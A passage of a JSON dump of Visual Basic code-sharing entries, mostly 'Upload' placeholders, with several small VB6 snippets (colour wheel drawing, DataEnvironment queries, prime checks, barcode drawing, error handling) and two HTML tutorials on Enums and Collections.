With"},{"WorldId":1,"id":6855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9282,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10006,"LineNumber":1,"line":"' Copyright ┬⌐ 2000 Phillip Senn<Phillip.Senn@alexlee.com>\n' Freely distribute\n' Special thanks to:\n' Lewis A. Shadoff, PhD http://websorcerer.com/h16/wheelie.html\nOption Explicit\nConst Radius = 127\nConst PI = 3.14159265358979\nFunction ReduceTo255(nmbr, base) As Single\nDim hexVal As Integer\nDim dig1 As Integer\nDim dig2 As Integer\nhexVal = nmbr * 255 / base\ndig1 = hexVal Mod 16\ndig2 = (hexVal - dig1) / 16\nReduceTo255 = dig2 * 16 + dig1\nEnd Function\nFunction ColorValue(Color As String, ang As Single, vector As Single, xPos As Integer, yPos As Integer) As Single\n'Calculate the color value for Red Green and Blue.\n'Value is between 0 and 65535.\n'For RED:\n'In the area bounded by an angle of 60 degrees and 300 degrees value is 65535.\n'(This is a right-hand-side quadrant)\n'Outside this area the value decreases linearly from the boundary of the area to the edge of the circle on a line parallel to the x-axis.\n'For GREEN:\n'The coordinates must be rotated 120 degrees clockwise and x and y re-calculated.\n'This transforms the circle so that the same calcualtion as for RED is valid.\n'For BLUE:\n'The coordinates are rotated 240 degrees.\nDim angCorr, angVal, xVal, yVal, X1, X2\nIf Color = \"red..\" Then angCorr = 0 * PI / 3\nIf Color = \"green\" Then angCorr = 2 * PI / 3\nIf Color = \"blue.\" Then angCorr = 4 * PI / 3\nangVal = ang - angCorr ' Apply rotation\nIf angVal < 0 Then angVal = angVal + 2 * PI ' If angle is negative, add 360 degrees\nIf Color = \"red..\" Then\n xVal = xPos\n yVal = yPos\nElse\n xVal = Abs(vector * Cos(angVal))\n yVal = Abs(vector * Sin(angVal))\n If angVal > PI / 2 And angVal < 3 * PI / 2 Then\n xVal = -xVal ' Get the sign right\n End If\nEnd If\nIf angVal <= 2 * PI / 6 Or angVal >= 10 * PI / 6 Then\n ColorValue = 65535 ' If inside the quadrant...\nElse ' If outside the quadrant...\n X1 = Sqr(Radius ^ 2 - yVal ^ 2) + xVal\n X2 = Abs(yVal) / Tan(PI / 3) - xVal\n ColorValue = 65535 * X1 / (X1 + X2)\nEnd If\nEnd Function\nPrivate Sub Form_Activate()\n'1) For each pixel within the Radius:\n'2) Calculate vector, the distance from the center of the circle\n'3) Calculate theta, the angle from the x-axis to the pixel (counterclockwise)\n'4) Calculate the RGB values (0 to 65535)\n'5) Convert to Hexadecimal values\n'6) Place the pixel on the form\nDim cursX As Integer, cursY As Integer\nDim theta As Single\nDim thetaDeg As Single\nDim vector As Single\nDim X As Long, Y As Long\nDim R As Long, G As Long, B As Long ' Red, Green, Blue\nX = Me.ScaleWidth / 2\nY = Me.ScaleHeight / 2\nFor cursX = -Radius To Radius\n For cursY = Radius To -Radius Step -1\n vector = Sqr(cursX * cursX + cursY * cursY)\n If vector <= Radius Then\n If vector = 0 Then vector = 1\n theta = aSin(Abs(cursY / vector))\n If cursX < 0 And cursY > 0 Then theta = 1 * PI - theta\n If cursX > 0 And cursY > 0 Then theta = 1 * theta\n If cursX < 0 And cursY < 0 Then theta = 1 * PI + theta\n If cursX > 0 And cursY < 0 Then theta = 2 * PI - theta\n thetaDeg = theta * 360 / 2 / PI\n R = ColorValue(\"red..\", theta, vector, cursX, cursY)\n G = ColorValue(\"green\", theta, vector, cursX, cursY)\n B = ColorValue(\"blue.\", theta, vector, cursX, cursY)\n R = ReduceTo255(R, 65535)\n G = ReduceTo255(G, 65535)\n B = ReduceTo255(B, 65535)\n Me.PSet (cursX + X, -cursY + Y), RGB(R, G, B)\n End If\n Next cursY\nNext cursX\nEnd Sub\nPrivate Function aSin(ByRef X As Variant) As Single\nIf X = 1 Then\n aSin = 0 ' This is why you see those red lines\nElse\n aSin = Atn(X / Sqr(-X * X + 1))\nEnd If\nEnd Function\nPrivate Sub Form_Load()\nMe.ScaleMode = vbPixels\nMe.WindowState = vbMaximized\nEnd Sub\n"},{"WorldId":1,"id":6981,"LineNumber":1,"line":"'IF ANYONE IMPROVES OR ADDS TO THIS CODE PLEASE FORWARD _\n A COPY TO ME SO I CAN UPDATE MY RECORDS AND INTERNITE SITES _\n E-MAIL: TDTOMLINS@YAHOO.COM\n \n'DataEnvironment is one item that is hard to find _\n Detail information about how to use it. I truly _\n Believe VB's DataEnvironment is the way to go _\n But using it takes time. This program will go _\n over some way's to make your data-environment more _\n Flexable during run-time operations that is not _\n usually covered in the majority books available to users.\n \n'When making changes be sure the Table,Field,Record is within _\n the database.\n \n'Open a dataproject if you already have a form _\n open then you will have to add a _\n DataEnvironment to your project\n \n' within data environment make a connection to _\n Biblio.mdb (comes with VB usually in dir _\n C:\\Program Files\\Microsoft Visual Studio\\VB98\\Biblio.mdb\n \n'Create a command Add an SQL statement: Select * from Authors\n'Create another command add a Data object-Database as TABLE _\n Object will be TITLES.\n'Create a another command add a SQL statement: _\n SELECT Titles.* FROM Titles WHERE (`Year Published` = ?) _\n In the Paramaters Tab set DATA TYPE as SMLINT and _\n set HOST DATA TYPE as INTEGER.\n \n'ON THE FORM ADD THE FOLLOWING\n'Add To the from a DataGrid, Three CommandButtons, _\n Three Labels with TextBox for each\n \nOption Explicit\n \nPrivate Sub Command1_Click()\nOn Error GoTo errorhandler\n \n' To use this routine you MUST have your command _\n as a SQL statement and have a valid statement _\n within it.\n \nDataEnvironment1.Commands.Item(\"Command1\").CommandText = Text1.Text\n \n'You must manually rebind your datagrid to activate the _\n Required commands\nWith DataGrid1\n .DataMember = \"Command1\"\n Set .DataSource = DataEnvironment1\nEnd With\n \n' You must close the recordset between commands\nDataEnvironment1.rsCommand1.Close\n \nExit Sub\nerrorhandler:\n Call errorRoutine\n Resume Next\n \nEnd Sub\n \nPrivate Sub Command2_Click()\n \n'Valad Tables: Titles, Publishers, Authors, 'Title Author'\n'NOTE: you must put single ' around Title Author.\n \nOn Error GoTo errorhandler\n' To use this routine you MUST have your command _\n as a DataObject statement and have a valid Object and _\n Object name within it.\n \nDataEnvironment1.Commands.Item(2).CommandText = Text2.Text\n \n'You must manually rebind your datagrid to activate the _\n Required commands\nWith DataGrid1\n .DataMember = \"Command2\"\n Set .DataSource = DataEnvironment1\nEnd With\n' You must close the recordset between commands\nDataEnvironment1.rsCommand2.Close\n \nExit Sub\nerrorhandler:\n Call errorRoutine\n Resume Next\n \nEnd Sub\n \nPrivate Sub Command3_Click()\nOn Error GoTo errorhandler\n' To use this routine you MUST have your command _\n as a SQL statement and have a valid statement _\n within it. Use the ? to indicate the Paramater. _\n Make sure your Parameter settings are correct.\n \nDataEnvironment1.Command3 Text3.Text\n \n'You must manually rebind your datagrid to activate the _\n Required commands\nWith DataGrid1\n .DataMember = \"Command3\"\n Set .DataSource = DataEnvironment1\nEnd With\n' You must close the recordset between commands\nDataEnvironment1.rsCommand3.Close\n \nExit Sub\nerrorhandler:\n Call errorRoutine\n Resume Next\n \n \nEnd Sub\nPrivate Sub errorRoutine()\nMsgBox (\"You must have appropriate commands in the textbox\")\n \nEnd Sub\n \nPrivate Sub Command4_Click()\n DataReport1.Show\nEnd Sub\n \nPrivate Sub Form_Load()\n \n MsgBox \"Valid Tables: Titles, Publishers, Authors, 'Title Author'\" _\n 'NOTE: you must put single ' around Title Author.\"\n \nLabel1.Caption = \" Enter SQL statement\"\nText1.Text = \"Select * From Titles\"\nCommand1.Caption = \"Run SQL statement\"\nLabel2.Caption = \"Enter Table Name\"\nText2.Text = \"Authors\"\nCommand2.Caption = \"Run Table Statement\"\nLabel3.Caption = \"Enter Year to search Publisher\"\nText3.Text = \"1985\"\nCommand3.Caption = \"Run Paramater Statement\"\n \nEnd Sub\n \n"},{"WorldId":1,"id":7720,"LineNumber":1,"line":"Option Explicit\n'Add two textboxes 1- txtFactors(Returns Factors) and 1- Text1(Input number\n'Two commandbuttons 1-cmdPrimeand 1-cmdPrime2\n'One Label 1-Label2\nPrivate Sub cmdPrime_Click()\n Dim I As Long, J As Long, Num As Long\n Num = Val(Text1.Text)\n \n If Num <= 3 Then\n Label2.Caption = \"Entry is Prime\"\n Exit Sub\n End If\n If Num Mod 2 = 0 Then\n Label2.Caption = \"Entry is Not Prime\"\n Exit Sub\n End If\n I = Int(Sqr(Num)) ' Should be Sqrt(Num)\n For J = 3 To I Step 2\n If Num Mod J = 0 Then\n Label2.Caption = \"Entry is Not Prime\"\n Exit Sub\n End If\n Next J\n \n Label2.Caption = \"Entry is Prime\"\n \nEnd Sub\nPrivate Sub cmdPrime2_Click()\n Dim Factors As New Collection\n Dim I As Long, J As Long, K As Long, L As Long, Num As Long\n Num = Val(Text1.Text)\n I = Int(Sqr(Num)) ' Should be Sqrt(Num)\n For J = 2 To I\n If Num Mod J = 0 Then\n L = Factors.Count \\ 2\n K = Num \\ J\n If Factors.Count > 0 Then\n Factors.Add J, , , L\n If (K <> J) Then Factors.Add K, , , L + 1\n Else\n Factors.Add J\n If (K <> J) Then Factors.Add K\n End If\n \n End If\n Next J\n If Factors.Count = 0 Then\n txtFactors.Text = Text1.Text & \" is prime.\"\n Else\n txtFactors.Text = Text1.Text & \" is not prime.\" & vbCrLf\n txtFactors.Text = txtFactors.Text & \"It is divisible by \"\n For I = 1 To Factors.Count\n txtFactors.Text = txtFactors.Text & Factors.Item(I) & \" ,\"\n Next I\n End If\nEnd Sub\n"},{"WorldId":1,"id":8646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6998,"LineNumber":1,"line":"'This small and very simple sub will format the\n'caption of a Label control if the text is too\n'big to display in the control. The sub will\n'trucate the text and append \"...\" to the end\n'of the text (indicating to the user that they\n'are not seeing the full text). VB automatically\n'wordwraps the caption of a label if it is too\n'big, however, this results in the caption being\n'truncated only where there is a space. Also,\n'you can see the top of the next line of the caption.\n'Example\n'Make and Model: Cadillac\n'becomes:\n'Make and Model: Cadillac Eldor...\n'I find this extremely useful when I don't know the\n'maximum length of the text the label will contain,\n'or if I don't have enough screen real estate to\n'make the Label big enough.\n\nPrivate Sub AutoSizeCaption(lbl As Label)\n Dim i As Integer\n Dim iLabelWidth As Integer\n Dim sText As String\n Const kMore = \"...\"\n ' store orignal caption and width\n sText = lbl.Caption\n \n ' numeric or date? Don't format.\n If IsNumeric(lbl.Caption) Or IsDate(lbl.Caption) Then Exit Sub\n iLabelWidth = lbl.Width\n ' allow label to \"spring\" to it's actual width\n lbl.AutoSize = True\n ' is required width of label < actual width?\n If lbl.Width > iLabelWidth Then\n i = Len(sText) - 1\n Do\n lbl.Caption = Left(sText, i) & kMore\n i = i - 1\n Loop Until (lbl.Width <= iLabelWidth) Or (i = 0)\n End If\nExit_Sub:\n lbl.AutoSize = False\n lbl.Width = iLabelWidth\n Exit Sub\n \nErrorHandler:\n ' something went wrong ... put everything back\n lbl.Caption = sText\n Resume Exit_Sub\nEnd Sub\n"},{"WorldId":1,"id":6999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7032,"LineNumber":1,"line":"Public Function SystemResources() As String\nGDI$ = CStr(pBGetFreeSystemResources(1))\nSys$ = CStr(pBGetFreeSystemResources(0))\nUser$ = CStr(pBGetFreeSystemResources(2))\nSystemResources$ = \"GDI: \" + GDI$ + \"%\"\nSystemResources$ = SystemResources$ + vbCrLf + \"System: \" + Sys$ + \"%\"\nSystemResources$ = SystemResources$ + vbCrLf + \"User: \" + User$ + \"%\"\nEnd Function\n'--------------------\n'To use this code in a Message Box, use:\nMsgBox SystemResources$, vbSystemModal, \"System Resources\"\n'--------------------\n'To use this code in a Text Box, use:\nText1 = SystemResources$\n'Text1 being your Text Box name\n'--------------------\n'The SystemResources function was made to be placed in a module; if you would like it to be placed in your form... copy the declaration and function, paste it in your form coding, and change the Public to Private.\n"},{"WorldId":1,"id":7311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7065,"LineNumber":1,"line":"Private Sub chkOnOff_Click()\nOn Error Resume Next 'resume next beacuse not all controls support dragmode\nDim ctl As Control\n'Turn dragmode on/off\n \n If chkOnOff.Value Then\n For Each ctl In Me.Controls\n 'Debug.Print TypeName(ctl)\n ctl.DragMode = vbAutomatic\n Next\n Else\n For Each ctl In Me.Controls\n 'Debug.Print TypeName(ctl)\n ctl.DragMode = vbManual\n Next\n End If\n Me.chkOnOff.DragMode = vbManual\nEnd Sub\nPrivate Sub Form_DragDrop(Source As Control, X As Single, Y As Single)\n'Move the control\n Source.Top = Y\n Source.Left = X \nEnd Sub\n"},{"WorldId":1,"id":8471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7126,"LineNumber":1,"line":"Public Function IsNullEx(ValueToCheck As Variant, varWhatToReturnIfNull) As Variant\n If IsNull(ValueToCheck) Then\n IsNullEx = varWhatToReturnIfNull\n Else\n IsNullEx = ValueToCheck\n End If\nEnd Function\nUsage example:\ntxtClientName = IsNullEx(rst!ClientName, \"unknown\")\n"},{"WorldId":1,"id":10185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10160,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nCommand1.Left = Command1.Left + 60\nCommand1.Top = Command1.Top + 60\nEnd Sub\nPrivate Sub Command1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\nCommand1.Left = Command1.Left - 60\nCommand1.Top = Command1.Top - 60\nEnd Sub\n"},{"WorldId":1,"id":7130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7718,"LineNumber":1,"line":"Option Explicit\n\n'The Following Code gets added to each Sub in which you\n'Would like to trap errors in. \nErrHandler:\n Dim iErrorAction As Long\n iErrorAction = ErrorHandler(Err)\n Select Case iErrorAction\n Case 1\n Resume\n Case 2\n Resume Next\n Case 3\n 'Case 3 is for Resume to a Line, otherwise left blank\n Case 4\n Exit Sub\n Case 5\n End\n End Select\n'The code below remains in a Module where it can be expanded in one central location\nPublic Function ErrorHandler(iErrNum) As Long\nDim iAction As Long\n Select Case iErrNum\n Case -2147467259\n MsgBox \"A database data entry violation has occurred. \" & \"Error Number = \" & iErrNum\n iAction = 5\n Case 5\n 'Invalid Procedure Call\n MsgBox Error(iErrNum) & \" Contact Help Desk.\"\n iAction = 2\n Case 7\n 'Out of memory\n MsgBox \"Out of Memory. Close all unnecessary applications.\"\n iAction = 1\n Case 11\n 'Divide by 0\n MsgBox \"Zero is not a valid value.\"\n iAction = 1\n Case 48, 49, 51\n 'Error in loading DLL\n MsgBox iErrNum & \" Contact Help Desk\"\n iAction = 5\n Case 57\n 'Device I/O error\n MsgBox \"Insert a disk into Drive A.\"\n iAction = 1\n Case 68\n 'Device Unavailable\n MsgBox \"Device is unavailable(the device may not exist or it is currently unavailable).\"\n iAction = 4\n Case 482, 483\n 'General Printer Error\n MsgBox \"A general printer error has occurred. Your printer may be offline.\"\n iAction = 4\n Case Else\n MsgBox \"Unrecoverable Error. Exiting Application. \" & \"Error Number = \" & iErrNum\n iAction = 5\n End Select\n ErrorHandler = iAction\n End Function"},{"WorldId":1,"id":7148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7744,"LineNumber":1,"line":"Private sArray() As String\nPrivate Sub cmdGetKey_Click()\nDim RandNum As Long\n Randomize\n RandNum = Int(Rnd * 1446) + 1\n Text1.Text = sArray(RandNum)\n \nEnd Sub\nPrivate Sub Form_Load()\n sArray() = Split(txtKeys.Text, vbCrLf)\nEnd Sub"},{"WorldId":1,"id":7789,"LineNumber":1,"line":"Private Sub Form_Load()\n SendMessage cboState.hwnd, CB_SETDROPPEDWIDTH, 135, 0\n'be sure to either carry the line down with a _, or put it all on one line. The complete line should start with SendMessage and end with 0\nEnd Sub"},{"WorldId":1,"id":7580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7175,"LineNumber":1,"line":"Private Type RASCONN\n dwSize As Long\n hRasConn As Long\n szEntryName(256) As Byte\n szDeviceType(16) As Byte\n szDeviceName(128) As Byte\nEnd Type\nPrivate Declare Function RasEnumConnectionsA& Lib \"RasApi32.DLL\" (lprasconn As Any, lpcb&, lpcConnections&)\nPrivate Sub Command1_Click()\nDim Verbindung As RASCONN\nDim size, Anz As Long\n Verbindung.dwSize = 412\n size = Verbindung.dwSize\n If RasEnumConnectionsA(Verbindung, size, Anz) = 0 Then\n If Anz = 0 Then\n MsgBox (\"You are NOT connected to the net.\")\n Else\n MsgBox (\"You are connected to the net.\")\n End If\n End If\nEnd Sub"},{"WorldId":1,"id":7179,"LineNumber":1,"line":"Public Sub Code3of9(sToCode As String, pPaintInto As PictureBox, pLabelInto As Label)\n \n Dim sValidChars As String\n Dim sValidCodes As String\n Dim lElevate As Integer\n Dim lCounter As Long\n Dim lWkValue As Long\n Dim PosX As Long\n Dim PosY1 As Long\n Dim PosY2 As Long\n Dim TPX As Long\n \n pPaintInto.Cls\n \n TPX = Screen.TwipsPerPixelX\n \n sValidChars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. $/+%*\"\n sValidCodes = \"41914595664727860970419025962647338417105957\" + _\n \"84729059950476626106644590602984801043246599\" + _\n \"62476744460260046477586109044686603224803443\" + _\n \"91860130478424477058030365265828235758580903\" + _\n \"65863556658042365383495434978353624150635770\"\n \n sToCode = UCase(IIf(Left(sToCode, 1) = \"*\", \"\", \"*\") + sToCode + IIf(Right(sToCode, 1) = \"*\", \"\", \"*\"))\n PosX = ((((pPaintInto.Width / TPX) - (Len(sToCode) * 16)) / 2) * TPX) - 1\n PosY1 = pPaintInto.Height * 0.2\n PosY2 = pPaintInto.Height * 0.8\n \n If PosX < 0 Then\n MsgBox \"The length of the code exceeds control limits.\", vbExclamation, \"Large string\"\n GoTo End_Code\n End If\n \n On Error Resume Next\n \n For lCounter = 1 To Len(sToCode)\n'Here is where the number is fetched from the sValidCodes string. It will get only 5 digits.\n lWkValue = Val(Mid(sValidCodes, ((InStr(1, sValidChars, Mid(sToCode, lCounter, 1)) - 1) * 5) + 1, 5))\n lWkValue = IIf(lWkValue = 0, 36538, lWkValue)\n For lElevate = 15 To 0 Step -1\n 'It evaluates the binary number to see if it has to draw a line.\n If lWkValue >= 2 ^ lElevate Then\n pPaintInto.Line (PosX, PosY1)-(PosX, PosY2)\n lWkValue = lWkValue - (2 ^ lElevate)\n End If\n PosX = PosX + TPX\n Next\n Next\n pLabelInto.Caption = Mid(sToCode, 2, Len(sToCode) - 2)\nEnd_Code:\nEnd Sub\n"},{"WorldId":1,"id":8817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9160,"LineNumber":1,"line":"<!doctype html public \"-//w3c//dtd html 4.0 transitional//en\">\n<html>\n<head>\n <meta name=\"Author\" content=\"M@\">\n <meta name=\"GENERATOR\" content=\"Mozilla/4.75 [en] (Win98; U) [Netscape]\">\n</head>\n<body>\n<center>Creating Custom Option\nChoices for Function Parameters\nNote: A Microsoft Word\nversion of this article is available in .zip format below with full graphics\nincluded. I recommend downloading it.</center>\nOne of the things that I\nlove about Visual Basic 6 is the way it always tells you what it is expecting.\nWhere in most other languages, you are left guessing at the parameters\na function is expecting and what data type they should be, VB. shows you\nthe choices right where they are needed. For example, If I am calling the\nfunction MsgBox to display a message box to the user, it looks like this\nas I enter the code:\nThe usefulness of this feature\nof the Visual Basic environment cannot be overstated. I often wished I\ncould create such option lists for my own functions. Instead of writing\na function like this:\nFunction\nSelectCustomerCategory (CustomerType as Integer) As String\n \nSelect Case CustomerType\n \nCase 0\n \nSelectCustomerCategory = “Corporate”\n \nCase 1\n \nSelectCustomerCategory = “Company”\n \nCase 2\n \nSelectCustomerCategory = “State Government”\n \nCase 3\n \nSelectCustomerCategory = “City Government”\n \nCase 4\n \nSelectCustomerCategory = “Federal Government”\n \nEnd Select\nEnd\nFunction\nI wanted to write it like\nthis:\nFunction\nSelectCustomerCategory (CustomerType as Integer) As String\n \nSelect Case CustomerType\n \nCase Corporate\n \nSelectCustomerCategory = “Corporate”\n \nCase Company\n \nSelectCustomerCategory = “Company”\n \nCase StateGovernment\n \nSelectCustomerCategory = “State Government”\n \nCase CityGovernment\n \nSelectCustomerCategory = “City Government”\n \nCase FederalGovernment\n \nSelectCustomerCategory = “Federal Government”\n \nEnd Select\nEnd\nFunction\n \nBut in order to do this,\nI found myself creating lots of constants like:\nConst\nCorporate = 0\n Const\nCompany =1\n Const\nStateGovernment=2\n Const\nCityGovernment=3\n Const\nFederalGovernment =4\nAlthough this worked, once\nI had about 10 functions with five or six possible options, I started having\ntrouble remembering which constants were defined for which functions. They\nwould show up in the Options List if I pressed <ctrl>\n<space>, but since they were in alphabetical order, “Corporate\n“was miles away from the other constant “StateGovernment”.\nLooking back, this all seems\nso useless, but at the time, I was very pleased with myself. Then one day\nI was reading a Visual Basics Standards book and discovered the “enum”\ndata type. I have used User Defined Types (see my article on it by\nfollowing the hyperlink) in QuickBasic and Visual Basic, so this seemed\nvaguely familiar. After reading about enum, I was delighted. It was exactly\nwhat I was looking for. With it you can define a set of parameters as a\nsingle data type and then “alias” the values with more understandable names\n(Like “Corporate” instead of “0”). When you select the parameter “Corporate”\nfrom the drop-down list, the aliased value of “0” is passed to the function.\nSound cool? Read on and I will show you how do to it. It is actually very\neasy.\nFirst, you must define the\nenum variable that will hold the values. In the declarations section of\nyour form or module, add the following code:\n \nPublic Enum enCustomerType\n \nCorporate = 0\n \nCompany = 1\n \nStateGovernment = 2\n \nCityGovernment = 4\n \nFederalGovernment = 5\n \nEnd Enum\nThere are some “rules” I\nneed to point out about the above code.\n1. Of course, the name of\nyour variable must be unique for the scope you are working in.\n 2. The Enum data type\ncan only accept Numerical values. Strings are not allowed. Corporate\n= “Corp” will not compile.\n 3. The list can be as long\nas you like.\n 4. The values do not have\nto be consecutive. They can be any numerical value.\nNow for the function (This\nis the fun part):\nInstead of using:\n \nFunction SelectCustomerCategory (CustomerType as Integer) As String\nWe are now going to use:\n \nFunction SelectCustomerCategory (CustomerType as enCustomerType) \nAs String\nSo we are replacing the Integer\ndata type with the enum type we created.\nComplete your function:\n Function\nSelectCustomerCategory (CustomerType as enCustomerType) As String\n Select\nCase CustomerType\n Case\nCorporate\n \nSelectCustomerCategory = “Corporate”\n Case\nCompany\n \nSelectCustomerCategory = “Company”\n Case\nStateGovernment\n \nSelectCustomerCategory = “State Government”\n Case\nCityGovernment\n \nSelectCustomerCategory = “City Government”\n Case\nFederalGovernment\n \nSelectCustomerCategory = “Federal Government”\n End\nSelect\nEnd\nFunction\nThat is all there is to it!\nNow try this:\n \nEnter the following text\nin a form or module:\nSelectCustomerType\n(\nAnd watch what happens. You\nshould see a list of values appear like magic.\nYou can then select one of\nyou choices. When the function is called the value that you defined for\nthe enum item will be passed. For example, if you select Corporate, the\nnumber 1 will be passed to the function.\n \n \n \n \n<center>\nHave Fun!</center>\n \n \n \n \n \n \n</body>\n</html>\n"},{"WorldId":1,"id":9349,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>Using Collections</TITLE>\n<META NAME=\"Template\" CONTENT=\"D:\\Program Files\\Microsoft Office\\Office\\html.dot\">\n</HEAD>\n<BODY LINK=\"#0000ff\" VLINK=\"#800080\">\nUsing Collections\nSo you have heard of Collections and may have even used them a few times. An unassuming word…collections. It doesn’t inspire much excitement in most circles, yet there are very few single words that represent such a powerful element of programming as they do. This article will outline some of the general and specific uses of collections in Visual Basic and Access. After reading it, you will hopefully have a higher respect for this often overlooked aspect of VB.\nJust what are collections anyway? Well, they are just what their name implies. They are a logical grouping of objects in Visual Basic. The Visual Basic object model consists of objects and collections of objects. For example, you have a \"Forms\" collection which contains all of the forms in the application. Each form also has an Objects collection which contains all of the objects that are contained in the form. On the Access side, there is a TableDefs collection which contains all of the tables in your database, and each of these TableDefs contains a Fields collection. As you may have guessed, the Fields collections contains all of the fields that exists in each table. \nWhat does this mean to the average coder? Where is the payoff for all of this organization? You are about to find out. Using the Forms example above, consider this problem:\nFor some strange reason, your client wants you to create a function that will show all of the forms in the entire application at once. You could so something like this:\nFunction ShowForms<DIR>\n<DIR>\n\tFrmSplash.Show\n\tFrmMainMenu.Show\n\tFrmSelectUser.Show\n\tFrmOpenDocument.Show\n\t…etc….etc….</DIR>\n</DIR>\nEnd Function\nThis can be tedious if the application has 35 or so forms. And to make matters worse, they keep adding and removing forms, so you have to keep coming back and changing this function to keep from causing a compile error \"Object required\" every time one changes. What a pain. You could solve this entire problem by either finding a new job, talking some sense into your client (like THAT would work!) or by using this code:\nFunction ShowForms<DIR>\n<DIR>\n\tDim frmForm as Form\n\tFor each frmForm in Forms<DIR>\n<DIR>\n\t\tFrmForm.Show</DIR>\n</DIR>\n\tNext frmForm</DIR>\n</DIR>\nEnd Function\nNow the client can add, remove, and change the name of as many forms as he likes without effecting the operation of the application. By looping through (or \"iterating\") the collection, you have made you code immune to the whims of your client. Lets look at how this works by examining each statement. \nDim frmForm as Form\nThis statement creates an object variable that will hold each form object as we iterate through the Forms collection. It is basically a temporary storage space for a form object.\nFor each frmForm in Forms\nIf you haven’t yet started using the For Each … Next statement, you need to get with the program. It works just like the old Basic/VB For…Next, but it does it with objects instead of variables. This is the heart of working with collections.\nFrmForm.Show\n \nThis magic little statement takes the place of all of those other .show statements in the prior example. With each pass through the For Each…Next loop, the object variable frmForm 